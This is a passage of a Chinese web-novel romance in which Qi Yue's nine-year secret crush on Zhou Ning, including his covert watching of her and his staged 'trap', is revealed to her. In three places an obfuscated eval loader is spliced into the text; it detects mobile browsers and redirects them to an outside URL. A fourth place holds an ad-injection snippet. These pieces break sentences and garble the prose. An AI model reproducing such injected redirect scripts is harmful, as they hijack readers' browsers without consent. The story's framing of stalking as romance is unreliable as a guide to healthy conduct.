外界的声音就当做听不见,她觉得这群无聊的人总有累的一天,她自己总不能陷进舆论的漩涡,不然最后只会得到内耗至心力交瘁的结果。 事实证明,她的回避法有用。 周五放学,她拖着行李箱回家,刁路鸣在身后追,扯着她书包带子不让走,非得问清楚,为什么这么多天都把他当空气。 周柠被他这种跟踪拦截行为吓得不轻,用力从他手里抽出书包带子拖着行李箱拔腿就跑,险些摔倒。等往前跑一段再回头看,已经没人影了,这才松口气。 但自那以后,刁路鸣再也没来骚扰过她,那些兄弟后援团也没再叫过她嫂子,刁路鸣甚至从她后桌搬走了,彻底从她的世界离开。 一个月后,周柠从李依依口中听到刁路鸣和隔壁班女生谈恋爱的消息。她仅仅只是“哦”了声,没有任何感情波动,对此没有表现出浓烈的八卦兴趣,也没有因为刁路鸣快速转移目标而心生鄙夷。 她对与自己不相关不喜欢的人或事都不在意,她只在意自己身边是否足够清净。 至于刁路鸣为什么突然就宣布撤退她也没去深究,只是觉得浅薄的感情本身就很脆弱,兴趣淡了,也就走了,多正常。要是战线再拉长一点,她可承受不住这种不顾人死活的“喜欢”。 周柠对祁越在背后参与的事一无所知。 祁越喜欢观察她,如果要追溯时间源头,也许是从高一入校起。 她很安静,朋友不多,大部分时间都自己自己待着。独处并不是被迫,她看上去很喜欢独处。懒洋洋的,不爱动,几乎能在座位上坐一天,写作业,看书,像只卡皮巴拉,或者,小乌龟。 祁越没有去打扰她的打算,只是觉得日常学习很无聊,但观察她很有意思,就像动物学家在大自然观察小动物一样。 强行去打扰,也许会得到不好的结果。 经过长时间观察,他已经能总结出她所以生活轨迹。 七点二十左右会进教室,然后接水,如果没有体育课或者其它要到特定教室上的课她通常会在座位上坐一上午,然后吃午饭午休,再坐一下午,吃晚饭,再坐一整个晚自习,有时中途太闷了可能会到走廊上吹吹风。 她是真坐得住。 祁越能从一堆人中准确找出周柠的背影,他也不知道自己是什么时候练成了这项周柠专业追踪技术,等反应过来时,已经练成有一段时间了。 可自从刁路鸣跑到周柠面前找 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祁越也看过去。 空气仿佛在这一刻变得紧张而凝重。 但周柠并没有帮忙捡球,也没有故意把球踢远,只是装作没听见没看见,转身走开了。扭头时脑后的马尾轻轻一甩,留下一个清瘦的,不带有任何情绪的背影。 “真调皮。”刁路鸣撇撇嘴。 祁越:“……人家是不待见你。” 说话时嘴角已经在不可察觉间上翘,因为他也让周柠帮忙捡过球。 那次体育课解散后,周柠坐在旁边拿着小本子背英语单词,一颗篮球咕噜噜滚到她脚边。 “周柠,帮忙踢一脚。”祁越在远处朝她挥手。 周柠愣了三秒,似乎没料到平常没说过几句话的祁越会让她帮忙。 手忙脚乱地把记英文单词的小本子揣进校服口袋,周柠站起身。 她最终还是没有用脚踢,弯腰把球捡起来,走上前轻轻一抛。 然后篮球在空中划出一道流畅的弧线,落进少年敞开的怀里。 祁越:“谢了。”露出一个笑。 周柠:“不客气。”也露出一个笑。 虽然相处得很生涩,跟人机没什么区别,但可以对比出人与人之间的区别。 周柠对待他至少像个正常同学,而不是像对待一个讨厌鬼。 由此,他大概也能弄清楚,周柠对刁路鸣没意思,甚至可能对这种穷追不舍的行为感到非常厌烦。 螳螂捕蝉黄雀在后,那次周五放学刁路鸣堵截周柠时,祁越就跟在刁路鸣身后。 刁路鸣作为走读生跟着住校生一起走肯定别有企图,祁越不放心就跟了上去。 果不其然。 周柠明显表现出拒绝后,刁路鸣还想往前追,却被祁越在身后按住肩膀。 “注意分寸。”祁越说。 刁路鸣皱眉,“关你什么事?” 祁越没正面回答,只冷冷地说了句,“别挡道。” 然后长腿一扫,手上用力一压,刁路鸣整个人就被甩到路边去。 路上来来往往大部分都是学校里的人,其中不乏有认识的,纷纷好奇往这边伸脑袋。 刁路鸣顿觉没面子,站起来挥拳就要打。 可祁越只是冷酷地站在原地,讥讽道:“不服可以去别的地方再试试,在这里,你更丢脸。” 刁路鸣瞬间犯怵了。 他明白,面前站着的人站起来比他高,拳头也比他硬,完全有资格说这句话。 所以最后也只敢撂狠话损人,“喜欢就去追啊,看着我追,你眼红是吧?不然就是怂呗,没胆子。” 喜欢? 祁越皱眉。 他喜欢周柠吗? 有吗? 没有吧。 虽然观察她是比较有意思…… 但,也许? 不然为什么看到刁路鸣会不爽? 是因为这个人本身就欠打。 “你有时间和力气骚扰女同学,不如回家把马桶刷了,以后喝的水也能干净些。” 祁越懒洋洋地打了个哈欠,懒得听刁路鸣瞎扯,戴上耳机转身离开。 但他并没有直接回家,而是顺着周柠走的路,追上她,并跟在她身后。 祁越担心自己走后刁路鸣又去找周柠麻烦,所以就一路跟着。 坐地铁,公交,最后走到小区门口。 一路上周柠都没发现身后有保镖相随,拖着大行李箱刷脸进小区。但小区门口站岗的物业阿姨却是火眼金睛。 因为穿着相同的校服,物业阿姨似乎把他们当成一起的人,按着门禁开关看向不远处的少年,眼神催促,你到底进不进去? 祁越:“……” 相顾无言,祁越难得尴尬,低头转身快步离开。 怎么还跟着回人家小区了? “有病。”他忍不住骂自己。 19. chapter(19) 一曲结束,周柠在热烈的掌声中推开粉色泡泡重新坐回角落。 那边还在闹腾着摇骰子,她拍了拍发烫的脸让自己冷静。现在重点嫌疑人转移,需要重新整理下线索。 李依依拎着啤酒过来用胳膊肘戳了戳她,八卦兮兮地问:“你还记不记得之前我跟你说过祁越暴打刁路鸣的事?” 周柠满脸问号,“什么时候的事情?最近吗?” “高中,”李依依摁着头皮想了半天,最后笃定道:“高一下学期,快期中考试的时候。” 周柠陷入沉思,但还是没想起来。 她犹犹豫豫地点点头,“应该……也许……大概有这事儿吧。不过,你知道的,我对别人的事情不太关心,所以很多都不记得。” 李依依眨了眨眼,几乎要跳起来,“什么别人的事,这是你的事!” “我?”周柠指了指自己,“哪里跟我有关系?高一的时候,我跟刁路鸣是仇敌,跟祁越约等于陌生人。他们两个产生矛盾,无论如何都跟我不相关吧。” 李依依:“有些是传言,但有些是我亲眼所见。祁越确实为了你差点在教室里把刁路鸣打一顿。” -- 那是个大课间,周柠难得没坐在教室里当神像,李依依身体不舒服趴在课桌上回血。 旁边过道上聚集的一撮人在小声议论。 “周柠人品不太行。” “吊着鸣哥,拿了那么多好处还要装白莲花。” “又当又立。” “嗐,长得漂亮的女生都那样,踢了一个这不又钓上另一个了嘛,舔狗多得是。” “纯恶心人。” …… 什么玩意儿? 李依依越听越火大,这些人分明就是故意在周柠的位置周围说坏话,等周柠回来后让她“不小心”听到。 李依依想,如果是周柠听到这话,大概会懵逼一阵,然后开始反思自己是不是哪里做错了,等确定自己没有错后,就会因为懒得起冲突而装作没听见。 但李依依并不是那种听到有人说自己或者身边人坏话都能当没听到的性格,这不纯纯就是软包子吗?她不知道周柠听了会不会往心里去,反正她听到后气得不行。 正当她还在思考该怎么刻薄又不失风度地怼回去时,祁越突然出现,左右手揪住说话的那两个人的衣领,连拉带拽地拖到刁路鸣面前,整齐的课桌被弄歪好几张。 “你跟他俩解释下现在的情况。”祁越说。 刁路鸣看了两个人一眼,极不情愿地告诫,“以后不要乱说话。” 祁越垂眼看他,打开手机敲了一段字后怼到他面前,“念。” 刁路鸣深吸口气,看着手机上的字,脸涨成一只煮熟的大虾。 “骚扰,动词,释义为使不安宁。骚扰是指在他人非自愿的情况下通过身体或语言行动进行冒犯或侮辱行为。例句:在得到明确的拒绝后还要持续进行纠缠造成对方困扰的行为不是深情而是骚扰。” 他越念越小声,磕磕巴巴念了好久才念完。 “现在重新解释。”祁越说。 “就不用再解释一遍了吧……”刁路鸣目光躲闪,心虚得像只鹌鹑,“他们都懂。” 祁越冷笑,“重新解释,他们懂了还有其他人没懂。” 刁路鸣低着头,“一直都是我在骚扰周柠。” “大点声,没吃饭?” “一直都是我在骚扰周柠!周柠是受害者!以后你们都不要再说周柠坏话,也不要再把周柠和我绑在一起开玩笑了!但是可以骂我!” “都听清楚了吗?”祁越抬眼扫视一周,语气十分嚣张,“今天是受害者不在,我不计较。以后你们如果好奇心重呢,可以做个实验,试试看传这种傻逼话多久后会被清算。” …… 李依依:!!! 戳了戳消息比她还灵通的前桌,用气声问:“这是什么发展?” 前桌也用气声回答:“你居然不知道,上周五住校生下晚自习回家,祁越把刁路鸣打了一顿,就在学校后门那条街,好多人都看到了。” “祁越为什么要打刁路鸣?” 前桌看了眼周柠空荡荡的座位,不知是突然瞥见谁,对她做了个给嘴巴拉拉链的动作后就转身埋头干自己的事了。 大课间本来该嘈杂的教室瞬间变得鸦雀无声,也没人出去,都低着头写作业,都不说话。教导主任这时候要是路过班门口都要赞叹一句优秀班级。 安静一直持续到打上课铃。 接下来连着两节课都是生物课,先天考试圣选。周柠作为生物科代表忙着在办公室数试卷,跟着老师一起去教室的时候已经上课好几分钟了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450946|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 生物老师笑眯眯地说:“我们来做个小练习。” 教室里还是没声音。 本来都已经做好要安抚学生的准备了,可大家的反应却让人出乎意料。 生物老师有些惊讶,“都没闹哦,看来很喜欢考试呀,中途下课就不休息了哦,但可以去上厕所。然后提前十分钟收卷放你们去吃饭。” 教室依旧鸦雀无声,学生们乖得不像话。 她看向科代表,“现在发试卷吧。” 试卷已经分好,顺着一列列发下去后周柠回到座位上开始写题。 从头到尾,周柠对课间的那场闹剧一无所知。 -- 李依依:“……所以现在刁路鸣看到你们两个一起来,为了不丢脸,才死活要打电话把女朋友也喊过来。好惨一女朋友。” 听李依依说完那场大课间闹剧,周柠继续一脸懵逼,“你,确定这件事跟我说过?” 李依依眨眨眼,“没说过吗?肯定是你没放心上。” “不不不,一般的事我可能会忘,但这种事我不会忘的,你肯定没跟我说。” 李依依挠头,“我明明记得说过的呀,难道是在梦里说的?不能够啊。” 两人争了一会儿,都从原本的笃定变得不确定了。 四目对望,二脸懵逼。 李依依:“哎,你别纠结我说没说过你忘没忘了,总之现在我跟你说了,你听了之后也不会忘了。” “说得也是。”周柠没再坚持。 李依依遗憾道:“上高中的时候我一直暗戳戳地嗑你们两个来着,以为高中毕业后会在一起,结果be了。” 她说着说着喝了口啤酒开始感慨,“青春的悸动,总是无疾而终啊。” 周柠不知道该说什么,装作很忙的样子低头看手指甲。 事到如今,她终于知道刁路鸣为什么会那么突然地在她身边消失,还给她写道歉信。如果不是有人强行点破,刁路鸣显然不具备自省的能力。 现在又多了条线索,条条线索都指向同一个人。 她心跳得快起来。 要破案了,还差一点,需要嫌疑人承认。 该怎么问出口呢? ——你是不是喜欢我,还喜欢了很多年? 未免也太自恋了,这只不过是你的主观臆断。 20. chapter(20) 久别小聚,众人一直欢闹到接近凌晨才结束。 城市的夜灯火通明,这个点路上车辆依旧很多,只是不堵车而已。 祁越在开车,周柠依旧坐在副驾。这回她眼疾手快,没给祁越帮她系安全带的机会。 周柠靠在座椅上歪着头看向车窗外,路灯的光芒扫在她的脸上,忽明忽暗。 两个人都没说话,刚刚脱离热闹的环境,所以返程车内的安静被对比得尤为明显。 周柠的心却不安静。 也许是在包厢喝了两口啤酒,她现在有一堆话想说,就算性格再闷这下也憋不住了。 再也没有比现在更合适审问嫌疑人的时机,周柠盯着窗外一闪而过的风景陷入沉思。 她可以不那么直接,找一个切入口,旁敲侧击。 深呼吸,周柠坐直身体。 “祁越。”她喊。 “嗯?” 在她的视线盲区,祁越脑袋往她这边稍微一偏。 感觉到自己之前声音有些颤抖,周柠轻咳两声,故作镇定道:“其实我不是故意没邀请你。” “那你是不小心没邀请我?” “也不是,我是故意没邀请你。” 祁越:“噗嗤。” 男人笑声低沉,但就是这声低沉的笑,把原本车内安静严肃的气氛变得活跃起来。 “你想说什么?”他憋着笑问。 周柠也觉得刚才的对话好笑,抑制着上翘的嘴角解释,“我故意不邀请你是有原因。” “刚回来的时候我捡到一只手机,那个手机的屏保是我高中毕业照截图。在别人不知情的情况下拿别人的高中毕业照截图做屏保的行为本身就很可疑。之后手机那边电话打过来,我联系手机失主的朋友交还。结果我前不久发现那个手机失主的朋友正好跟我在同一家公司,可疑加倍。而且你的邻居,我的前房东也可能是公司高管,可疑加倍plus。所以那时候我才急着要搬走。” 十字路口,绿灯刚好转红,倒计时,等待时间长得惊人。 祁越慢慢踩下刹车,回应道:“嗯,然后呢?” 感受到祁越看过来的目光,这下周柠不得不直视回去。 “然后我怀疑手机失主可能在暗中监视。” “监视。”祁越玩味着这个词轻笑,“手机失主监视的目的是什么?” “不清楚,”周柠摇头,“一般来说,凶手做的行凶计划中总会先铺垫,比如观察地形,再比如观察目标者生活作息,计算成功率,至于他想实施计划的结果,我不清楚。” 现在不需要开车,祁越却握着方向盘,骨节分明的手指在方向盘上下滑动。良久,他赞同地点点头,看向她,示意继续说下去。 “既然能用我的高中毕业照截图做屏保,那就将嫌疑人范围定在高中同学里,然后组织同学聚会引诱嫌疑人出现。但在此之前,我已经将你排除在外,所以才故意没邀请你参加。” “哦~~,看来你对我很信任,相信我对你别无所图。” “……” 祁越挑眉,“到底哪里做得不对,才造成你的这种信任?” “现在不信任了。”周柠小声说。 她不敢看祁越眼睛,换了个坐姿盯着前面前方倒数的红灯数字看。 只听祁越又问:“你设的鸿门宴有没有让凶手伏法?” “还没,手里没确凿证据……这个案子,你有什么思路吗?” “第一,前房东可能是公司高管,第二,手机失主的朋友也在公司,根据共同点,可以查一下公司人员组成。” 对哦,之前怎么没想到呢?明明网上都能查到,充个会员还能查得更细。查一下也不费事,还能多得条线索。 周柠立刻照做。 “执行董事,祁……”她猛然转头看向主驾驶,表情难以置信,“越?” “这个名字,跟你,一模一样。”周柠结结巴巴地说。 “同一个人确实该一模一样。” 此时,红灯转为绿灯,祁越朝她像狐狸似的笑道:“接下来的时间,小周警官可以慢慢审迅,我知无不言。” 祁越扭头踩油门,汽车发动,她的思绪却愣在原地。等好不容易从惊讶中缓冲过来,大脑CPU又开始高速运转。 现在的状况是,嫌犯自首了。 他、自、首、了! 根据结果往前推,一切都有迹可循。 (1)从进公司起就全是她爱吃的零食,一样不少。 (2)爬山那天祁越给她的雪花酥也跟公司里放的一模一样。 (3)祁越开机车送她去公司的时候没看导航,对路况熟稔于心。 如果那天她加入部门同事对老板的八卦,也凑过去看照片,说不定能提早破案。 周柠吞吞吐吐地问:“你的邻居跟你是同一个人吗?” 祁越:“是。” 周柠说不出话了。 从头到尾都是个圈套,目的是为了引导她主动去发现那个深埋多年的真相。一步步越引越深。 还有,勾引。 初见时完全符合她审美的优异外形,不经意露出的小臂肌肉,完美的厨艺,性感的灰色卫裤,恰到好处地入侵,既不咄咄逼人,又搞得人禁不住脸红心跳。 日复一日的相处陪伴,让她完全放下戒心,即便早已越界也毫无察觉,反而习以为常地跟他生活在一起。 好长的套路,是从什么时候开始谋划的呢? 捡手机那天,还是刚进公司那天,或者更早? 好安静,车内所有细微的声音都被悉数放大。 心脏在胸腔中剧烈跳动,周柠沉沉地吐气,只觉呼吸不畅。 而坐在旁边的祁越呼吸好像也变得沉重了,像是贴在她的耳边说,我也很紧张。 还应该问出什么问题?接下来又该怎么做?她是不是该给出一个答复?立即还是稍后? 忽然就,尬住了。 周柠没想过审迅时会出现这样的剧情,以为只是简单地套出祁越可能喜欢她这件事,但没想到,除此之外,祁越身上还批了这么多层马甲。 巨量的信息一下子涌入脑海,被冲击得不知所措,需要时间好好消化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493139|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此刻,她突然很想逃走。 可她总不能跳车,只能按开电台播放开关,让车内有点声音,以缓解两人间沉默的氛围。 ——“学生时代你有过暗恋的人吗?你暗恋的那个ta多长时间了呢?一年?两年?九年?十年?” 主持人的声音弹出来那一瞬,周柠头皮发麻。 她不敢看祁越的表情,只能手忙脚乱地换电台,主持人的声音更大了。 ——“都说暗恋是一个人的兵荒马乱,但只要你跟ta不是陌生人,时间一长,ta总会发现异样。因为即使你不说话,眼睛也会表达爱意。” ——“如果ta对此仍旧表现出一无所知的状态,那只能说明,ta要么是个笨蛋,要么是因为不喜欢你才装没发现,维系最后的体面。” 以为触键不灵敏,于是又按了好几下,结果频道没跳转,主持人的声音却越来越大。 ——“你的暗恋有结果了吗?你向ta表白,还是ta发现了你在偷偷喜欢?” ——“戳破了纱窗再想维系原样就很难了哦,ta有给你回应吗?” 周柠,你是个笨蛋,这是音量键。 祁越在开车,应该不会看她吧。 他现在心里会想什么呢? 后背和手心都渗出汗,周柠依旧低着头。她总算找到调频道的按键,主持人的声音消失,转为沙沙的噪声。 零点过去,已经很晚了,还在播报的电台并不多,调试一圈,最后又回到最开始的电台。 好在主持人闲谈的环节已经结束,现在正在播放歌曲。 歌词唱到小高|潮。 还要多远才能进入你的心 还要多久才能和你接近 咫尺远近却 无法靠近的那个人 也等着和你相遇 环游的行星 怎么可以 拥有你 周柠不再专注于调试电台,她靠回车椅,歪着头看窗外夜景。 没想到这时突然开始下雨。 豆大的雨点噼噼啪啪落到挡风玻璃上,风呼呼吹,天边闪电若隐若现,雨刮器来回扫,前方汽车的尾灯逐渐模糊。 周柠扭过头去看祁越。 他依旧注视着前方,不知是因为下雨而变得复杂的路况还是因为别的,神情看上去有些严肃,比窗外的雨还要冷一些。 单手潇洒地在方向盘上打了个圈,车身左转,车流减小,油门深踩,速度更快了。 像是在酝酿一场暴风雨。 周柠张了张口,最终还是说不出一句话。 还是等回去再说吧,祁越大概也这么想。 汽车就这样在雨夜快速行驶,电台还在播放,歌曲唱到结尾。 还要多远才能进入你的心 还要多久才能和你接近 咫尺远近却无法靠近的那个人 要怎么探寻 要多么幸运 才敢让你发觉你并不孤寂 当我还可以再跟你飞行 环游是无趣 至少可以 陪着你 21. chapter(20) 一路沉默,汽车驶入地下车库停稳后,还在播放音乐的电台也立刻噤声。 凌晨的地下车库格外沉寂。 周柠去解安全带,伸手一摸,却是温热的手背。 像触电般弹开手,转身看时,祁越正凝望着她。低头往下瞧,骨节分明的手覆盖在安全带插孔,不给她解开的机会。 只好抬头与之四目交接。 祁越开口:“没有其它想问的吗?” 还能问什么呢?疑案已经解开,再也没有秘密。 车里只开着小灯,暗黄色,照在头顶使得整个人都朦胧了。 可那双眼睛依旧明亮,他清楚地看着她,等待答复。 周柠抿了抿唇,最终戳破窗户纸,“你,是不是喜欢我?还喜欢了很久?” 得到满意的回复,祁越笑着“嗯”声,“九年而已,不算太久,你也不算太笨蛋,终于还是发现了。” 他将两只手握成拳头,自首似的递到她面前,“现在要捉拿归案吗?本人服从一切命令。” 周柠垂眼,避开目光。 如果她足够大胆,如果不那么谨慎,如果足够具有冒险精神,如果性格足够奔放热烈,她一定会立刻攥住祁越的手腕然后开始耀武扬威:嘿,抓住你了,天网恢恢疏而不漏,这下你休想再逃。 但很遗憾,上述特点,她都不具备。 她胆小,内敛,谨慎得过份,还擅长回避。 之前一直都不觉得这有什么问题,因为这只是她作为一只乌龟的生活方式,既没有影响到别人,也能合理自洽,但现在,她却因此产生困扰。 对方长情、直接、热烈,甚至还想方设法地编套路让她栽进去。嗯,十分狡猾,充满祁越元素的事物无孔不入地将她包围了,无处可逃。 想达成此番成就,需要耐心、智慧,以及,很多很多的喜欢。 她不知道自己能否接住这份感情,如果接不住,那么对祁越而言,便是伤害。 她性子冷淡,是只喜欢缩在壳里独处的乌龟,而祁越性格张扬,永远群星环绕,是只狡猾的狐狸。 狐狸是会吃肉的。 但她有一层厚厚的壳,还喜欢潜水。 狐狸可咬不到她,除非她主动从龟壳里爬出来。 这两种八竿子都打不着的生物或许能做普通朋友,但真的能谈恋爱吗? 会有生殖隔离吧。 现在喜欢可能只是因为新鲜感而产生的十八级滤镜,也可能是因为学生时代的执念,等相处久了,祁越就会认识到完整的周柠,那个有时候不洗脸直接睡觉的周柠,起床一脸油的周柠,路痴周柠,有很多缺点的周柠。 她开始计算自己多久会令祁越失望。三个月?半年?时间拖得越长越会两败俱伤。 诸如此类,周柠能编出无数个理由,反正也从来没指望过有人会一直都喜欢她。 都说友情是阶段性的,其实爱情也是,谈了恋爱会分手,结了婚也会离婚,什么执子之手与子偕老,她觉得可信度不高。 所有的感情都会趋于平淡,爱情也会从热恋走向平淡期甚至还有七年之痒,既然分离时注定会受伤,那为什么不选择直接不开始? 不不不,为什么不试着去开始?不坚持怎么就直接投降?胆小鬼作风! 两种思想开始打架。 周柠忽然觉得脑子好乱。 当知道祁越暗恋了她九年时,她第一反应是惊讶。 怎么会呢?想不通啊,匪夷所思呀! 祁越这样的人真的会喜欢她九年吗?喜欢她什么呢?九年,听上去多么漫长。 然后心脏越跳越快,伴着一丝丝的愉悦。 但这份愉悦并没有持续太久,很快便被绵绵无尽的担忧压下去。 她并非世界上顶级优秀的人,没有顶级的美貌,更没有顶级的性格和智慧。 虽然她自己是无所谓啦,爱咋咋地,随随便便也能活。但她没有超能力去左右别人的看法,也不能操控别人的喜欢。 她这么无聊寡淡的一个人,没办法保证自己能接住这份灼热似火的浓烈情感,更没办法笃定能让这份喜欢一直长久下去。 连她自己都不明白,怎么会有这么多顾虑。 唔,大概是因为,她是只冷静到极点的乌龟,不为美色所诱惑的乌龟,不想让自己受伤也不想伤害别人的乌龟。 之前过于乐观,一心只想着要套出那个真相,完全没想过真相浮出水面后该怎么去应对。 到底还是冲动了。 祁越目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509797|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼热,周柠只好暂时缩回乌龟壳,“我,今晚,没带手铐,不能把你捉拿归案。” 为了表示自己的尊重,她鼓起勇气抬头望向那双眼睛,小声道:“请给我点时间。” 祁越凝望着她,湿润的眼神好像在说,早就料到会这样。 “你好像一点也不怕我跑掉,就像高中时也不为我们之间的疏离而感到难过。” 周柠沉思片刻,认真道:“跑不掉的,我没有辞职的打算,而且早就过了试用期。如果你想把我开除,我会劳动仲裁。” 祁越气笑了,对她的这番说辞无可奈何。 周柠继续小声解释,“至于高中那会儿,我没有不难过。” 她只是习惯了那种,相识又疏离的人类普遍情感,又因为家长的高要求高管控使得背上学业压力过大,不得不暂时封闭情绪,所以看上去冷心冷肺。 一瞬间,狐狸眼睛亮了亮,祁越凑到她耳边唇角微微上扬,“行啊周老板,今晚初面,我等你的复试通知。” 耳朵像是中蛊了,沙沙痒痒的感觉,尖端慢慢变红。 周柠垂眼:“嗯,我会好好想的。” -- 到家开门,椰子瞬间扑上来。 灵敏的鼻子似是瞬间嗅到两人间不对劲的气氛,所以一直跟在周柠身后巡逻,连她最后进房间要睡觉了,也摇着尾巴凑上去。 周柠蹲下来笑着揉它脑袋,“今晚怎么了呀,这么粘人?” “椰子怕你不要它。”祁越孤零零地站在椰子身后说。 抬眼看,周柠忽然觉得,祁越是另外一只大号椰子。 她提议,“那今晚,把窝搬进来?” 小窝搬进去了,椰子兴奋地甩着舌头跑来跑去。 祁越站在门口,挪完椰子的小窝后很有分寸地没长时间停留。 “周柠,知道你喜欢躲,所以我可以向你走一百步,当我敞开双臂拥抱你时,只希望你不要推开。” 周柠撸狗的手一顿。 “早点休息。”祁越说。 正准备关门,椰子又冲出去堵在门口,张嘴咬住他的裤脚往里扯,似乎希望他也能一起进来睡觉。 祁越拍拍它的头,在耳边说悄悄话,“快回去,替我好好勾|引她。” 22. chapter(22) 对于是否要祁越参加复试这件事,周柠想了一整晚。 她绞尽脑汁努力地去回忆高中时期的种种往事,企图从这些往事中挖出祁越暗恋她的证据。 太多了。 往事连起来,让那长达九年的暗恋不再是个秘密。 每挖出一件,她就一脚踢开盖在身上的被子,两眼无神地盯着漆黑的天花板,质问自己,为什么,那么明显,满得都快从眼睛里溢出来的感情,你为什么没有发现。 质问完后她又把被子重新裹在身上继续想下一件,周而复始。 深夜,困意来袭,周柠精疲力尽地抬手捂住额头,当年的子弹正中眉心。 -- 整个学生时代,除了小学,周柠都在住校。 高中一个寝室六个人,每学期都会换寝室重新分配室友。高二上学期,睡在她上铺的是同年级另一个班的女生,名字叫卢芸。 卢芸喜欢祁越,这是在一次深夜茶话会时被她公开的秘密。 “祁越没有女朋友,也没有喜欢的人对吧?”她问全寝。 周柠不清楚,也没心思去知道这些事,所以没吱声。 她以为三号床的陈敏或者六号床的赵菡玉会知道。她们三个都是一个班,但陈敏和赵菡玉两人关系更好,每晚回寝室就会开始跟其他人分享全年级的各种八卦。五张小嘴凑一块,滔滔不绝。 但很神奇,前一刻还精力旺盛喋喋不休的两个人,在此刻竟然不约而同地噤声了。 寝室瞬间安静得能听到几公里外汽车飞驰的声音。 “怎么没人说话?都睡着了?”卢芸提高音量,“陈敏赵菡玉周柠,你们跟祁越一个班的。” “不知道啊,”陈敏岔开话题,“明天周二,食堂中午小炒有芋子鸡,菡菡跟我一起跑快点,其他人都不准抢哈。” “笑死,”四号床的女生往上踢了脚,“我咒你们班上午最后一节课拖堂。” 赵菡玉:“坏女人。” 然后寝室又安静下来。 周柠本来就困得不行,无奈茶话会还在继续,嘀嘀咕咕的声音吵得她睡不着。该配个耳塞的。 现在终于可以安心入睡,上铺的卢芸却用力摇了摇床。 “周柠,我听说你跟祁越是同桌。” 周柠迷迷糊糊“嗯”声。 卢芸又问:“你跟他关系好吗?” 跟祁越的关系…… 周柠开始认真思考起来,那时跟祁越已经做了快两个月同桌了。 “emm还行,普通同桌。” “还行的话,就帮我个忙呗。” “什么忙?” “我想先认他当哥哥。” 周柠顿了顿,“这我好像帮不上忙。” “可以,你就帮我送点东西给他,说是我送的。” “周柠。”陈敏这时忽然出声打断。 周柠:“嗯?” “其实……”陈敏沉默半晌,忽然话锋一转,“没什么,就叫下你跟卢芸早点睡觉,都十二点了。” “睡觉可以,但周柠要先答应我。”卢芸说。 实在太困,周柠无可奈何,打着哈欠说:“好吧,但我不保证他会收。” 于是第二天一早,她就将卢芸给的一罐巧克力味旺仔牛奶提前放在了祁越的课桌上。 祁越单肩背着书包进教室,一副没睡醒的样子,脸很臭。 可当他看到桌上放着的东西时,嘴角立刻翘起来,“无事献殷勤,非奸即盗。说吧,想要我做什么?” “有人想认你当哥哥。”周柠说。 祁越怀疑自己没听清,古怪地看向周柠,声音轻飘飘地感叹:“妹妹胆子好大啊。” 周柠汗颜:“你误会了,不是我认,是我的上铺认。” 祁越:“……” 周柠:“……” 空气凝固三秒,祁越有些烦躁,“上铺救过你命?什么忙都帮。” “小忙,关系一般也能帮。” “这也是她让你给的?”祁越指向那罐放在两张桌缝旁的巧克力味旺仔牛奶。 “对。” “不收。”祁越硬邦邦地说,同时用手背将牛奶推回周柠的课桌。 “好,我回去跟她说。” 早料到结局,周柠反应很平淡,默默将牛奶收回桌肚。 以为这件事会到此结束,祁越却用手指敲了敲她的桌面,她不得不扭头。 祁越眯着眼睛盯她很久,“妹妹,知道你这叫什么行为吗?” 周柠思考片刻,强装淡定,“大自然的搬运工。” “大自然的搬运工就可以不顾生态环境?你不喜欢的刁路鸣给你塞一堆零食都要生气地搬回去,怎么遇到我没见过的陌生人给我塞零食,你比乐山那座大佛还心平气和呢?” “别人要送你东西,我没道理生气呀。”周柠眨眨眼,神色郑重,“你放心,我还是很正常的,不会对同桌莫名其妙地产生占有欲。” 祁越:“……” “你觉得收到东西烦,我很能理解,”周柠继续说,“我会把东西还回去,再跟她好好解释。” 祁越扯了扯嘴角,表情掩饰不住地难看,“你要是能理解,银河系都爆炸了,物理学也不存在了。” 周柠:“……?” 晨读开始,话题终结。 周柠念文言文念得心不在焉,直觉告诉她,旁边那个浑身散发着烦躁气息的家伙在生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闷气,却百思不得其解,祁越因为什么而生气。 仅仅只是因为她帮室友送东西吗? 不懂。 多年后的一个夜晚,周柠回想起这件事,才彻底弄明白。 不仅仅是因为她帮室友送东西,还因为她对有人喜欢他这件事上,表现出来的,无所谓的态度。 但偏偏这种无所谓的态度,对于那时候懂分寸,有边界感,且还没喜欢上他的周柠而言,再正常不过。他作为同桌,无权指责,无权干涉,更没有道理因此难过。 可喜欢偏偏是最没道理的东西。 祁越不单单是气她,更多的是在跟自己生闷气。 